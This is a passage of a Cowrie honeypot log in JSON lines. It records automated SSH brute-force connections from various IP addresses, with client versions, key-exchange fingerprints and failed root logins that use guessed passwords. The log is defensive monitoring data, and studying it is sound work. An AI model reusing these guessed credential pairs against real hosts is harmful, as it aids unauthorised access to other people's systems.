h.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:05.391242Z","src_ip":"185.236.22.41","session":"1cefb830513e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"x123456","message":"login attempt [root/x123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:05.862897Z","src_ip":"185.236.22.41","session":"1cefb830513e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":45148,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d442e8baa9","protocol":"ssh","message":"New connection: 89.108.118.91:45148 (10.17.0.5:22) [session: 37d442e8baa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:06.573443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:06.578223Z","src_ip":"89.108.118.91","session":"37d442e8baa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:06.710208Z","src_ip":"89.108.118.91","session":"37d442e8baa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:07.004784Z","src_ip":"185.236.22.41","session":"1cefb830513e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:07.107765Z","src_ip":"89.108.118.91","session":"37d442e8baa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:08.241954Z","src_ip":"89.108.118.91","session":"37d442e8baa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":53484,"dst_ip":"10.17.0.5","dst_port":22,"session":"6172284b9486","protocol":"ssh","message":"New connection: 77.94.47.83:53484 (10.17.0.5:22) [session: 6172284b9486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:11.346643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:11.351428Z","src_ip":"77.94.47.83","session":"6172284b9486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:11.476604Z","src_ip":"77.94.47.83","session":"6172284b9486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parol123","message":"login attempt [root/parol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:11.852177Z","src_ip":"77.94.47.83","session":"6172284b9486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:12.979798Z","src_ip":"77.94.47.83","session":"6172284b9486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.92605233192444,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:28.949455Z","src_ip":"192.119.13.58","session":"2c6a0c8adf7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59434,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9a41c320e1","protocol":"ssh","message":"New connection: 80.94.92.186:59434 (159.203.135.109:22) [session: 8c9a41c320e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:39.230736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:39.385629Z","src_ip":"80.94.92.186","session":"8c9a41c320e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:39.389717Z","src_ip":"80.94.92.186","session":"8c9a41c320e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"sol","message":"login attempt [latitude/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:40.930082Z","src_ip":"80.94.92.186","session":"8c9a41c320e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:38:42.213546Z","src_ip":"80.94.92.186","session":"8c9a41c320e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34950,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8e2a8dd17eb","protocol":"ssh","message":"New connection: 51.250.105.222:34950 (159.203.135.109:22) [session: d8e2a8dd17eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:39:54.789535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:39:54.805279Z","src_ip":"51.250.105.222","session":"d8e2a8dd17eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:39:54.936686Z","src_ip":"51.250.105.222","session":"d8e2a8dd17eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4444444","message":"login attempt [root/4444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:39:55.331011Z","src_ip":"51.250.105.222","session":"d8e2a8dd17eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:39:56.465042Z","src_ip":"51.250.105.222","session":"d8e2a8dd17eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":33422,"dst_ip":"159.203.135.109","dst_port":22,"session":"832bc6a8909c","protocol":"ssh","message":"New connection: 103.173.227.57:33422 (159.203.135.109:22) [session: 832bc6a8909c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:07.176083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:07.181562Z","src_ip":"103.173.227.57","session":"832bc6a8909c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:07.421865Z","src_ip":"103.173.227.57","session":"832bc6a8909c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anakonda","message":"login attempt [root/anakonda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:08.152488Z","src_ip":"103.173.227.57","session":"832bc6a8909c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:09.397843Z","src_ip":"103.173.227.57","session":"832bc6a8909c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":44970,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc64d0795e64","protocol":"ssh","message":"New connection: 103.183.114.55:44970 (10.17.0.5:22) [session: dc64d0795e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:25.305691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:25.315200Z","src_ip":"103.183.114.55","session":"dc64d0795e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:25.544686Z","src_ip":"103.183.114.55","session":"dc64d0795e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrej","message":"login attempt [root/andrej] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:26.392636Z","src_ip":"103.183.114.55","session":"dc64d0795e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:27.622954Z","src_ip":"103.183.114.55","session":"dc64d0795e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.246.122","src_port":41700,"dst_ip":"10.17.0.5","dst_port":22,"session":"346f01d005c2","protocol":"ssh","message":"New connection: 62.210.246.122:41700 (10.17.0.5:22) [session: 346f01d005c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:31.764755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:31.769565Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:31.850825Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:dd:d2:2d:1d:d5:7d:76:a2:3b:b5:9e:07:5e:94:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKcg5JBesln/Era7Ouwehfjw7hyyPc8ufmXaP/Si2ns8B67JBz0gI+Bbzr0wvPY/HioE1zAz3GNLVuUQ0AZU8KGfrRgRG9fzAwiLIE2aWOb5guu3/MqxQ7e0ze11SHpFD4hXxfIbfikACfYVD8O4NUgFuFUybxpRvTNDpJSeUIuIk79QJN0ClUJ5mj+l9+suNlNcWceuNAP1LNQsuprgzmEFcyQiZgthn2BIaEFi0jRwjH53NmcXJIf0tyShqu9K9xiG4Ldd+r9M+InXNfENqg4wg7fQ68PvNM27mApf1YZR4HNQ3BVdr6cKbVgJ1hEtTIWEN6d5ZMNthOUzwTAqhE3PhknpD3oXGgHlmtOdfbxpWCuf2Nyn7u9Eegi3k7nlxQjxNvkgBcZxbyYs0glIvke03TYVhsDM7pb6amY8mH0D0JJmgzCs2s9pjb6nEdxw2tbtcwR0SaKJmFVCrbXVNeDNaY2c3BycLlFuYrlmmvCMR27AyubDI6kLBTE0pWXw67n5LCiyRz2ECSuhgRyW2d6UcMzylqxU0zQiPHMAFzk9WErvpHEP2Kqxmey36f6n0ddOU9V19ijw3lovvzvWDj7opCDsqNEjksZlCi8YLHrw1zVEpmbxev4baFQInbZ4ibN9vqWqLfszbF+YsFV7eYeLYex7K9YAvjMQdQsbEiHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:dd:d2:2d:1d:d5:7d:76:a2:3b:b5:9e:07:5e:94:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:40:32.238180Z","src_ip":"62.210.246.122","session":"346f01d005c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:dd:d2:2d:1d:d5:7d:76:a2:3b:b5:9e:07:5e:94:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKcg5JBesln/Era7Ouwehfjw7hyyPc8ufmXaP/Si2ns8B67JBz0gI+Bbzr0wvPY/HioE1zAz3GNLVuUQ0AZU8KGfrRgRG9fzAwiLIE2aWOb5guu3/MqxQ7e0ze11SHpFD4hXxfIbfikACfYVD8O4NUgFuFUybxpRvTNDpJSeUIuIk79QJN0ClUJ5mj+l9+suNlNcWceuNAP1LNQsuprgzmEFcyQiZgthn2BIaEFi0jRwjH53NmcXJIf0tyShqu9K9xiG4Ldd+r9M+InXNfENqg4wg7fQ68PvNM27mApf1YZR4HNQ3BVdr6cKbVgJ1hEtTIWEN6d5ZMNthOUzwTAqhE3PhknpD3oXGgHlmtOdfbxpWCuf2Nyn7u9Eegi3k7nlxQjxNvkgBcZxbyYs0glIvke03TYVhsDM7pb6amY8mH0D0JJmgzCs2s9pjb6nEdxw2tbtcwR0SaKJmFVCrbXVNeDNaY2c3BycLlFuYrlmmvCMR27AyubDI6kLBTE0pWXw67n5LCiyRz2ECSuhgRyW2d6UcMzylqxU0zQiPHMAFzk9WErvpHEP2Kqxmey36f6n0ddOU9V19ijw3lovvzvWDj7opCDsqNEjksZlCi8YLHrw1zVEpmbxev4baFQInbZ4ibN9vqWqLfszbF+YsFV7eYeLYex7K9YAvjMQdQsbEiHw==","type":"ssh-rsa","message":"public key login attempt for [root] 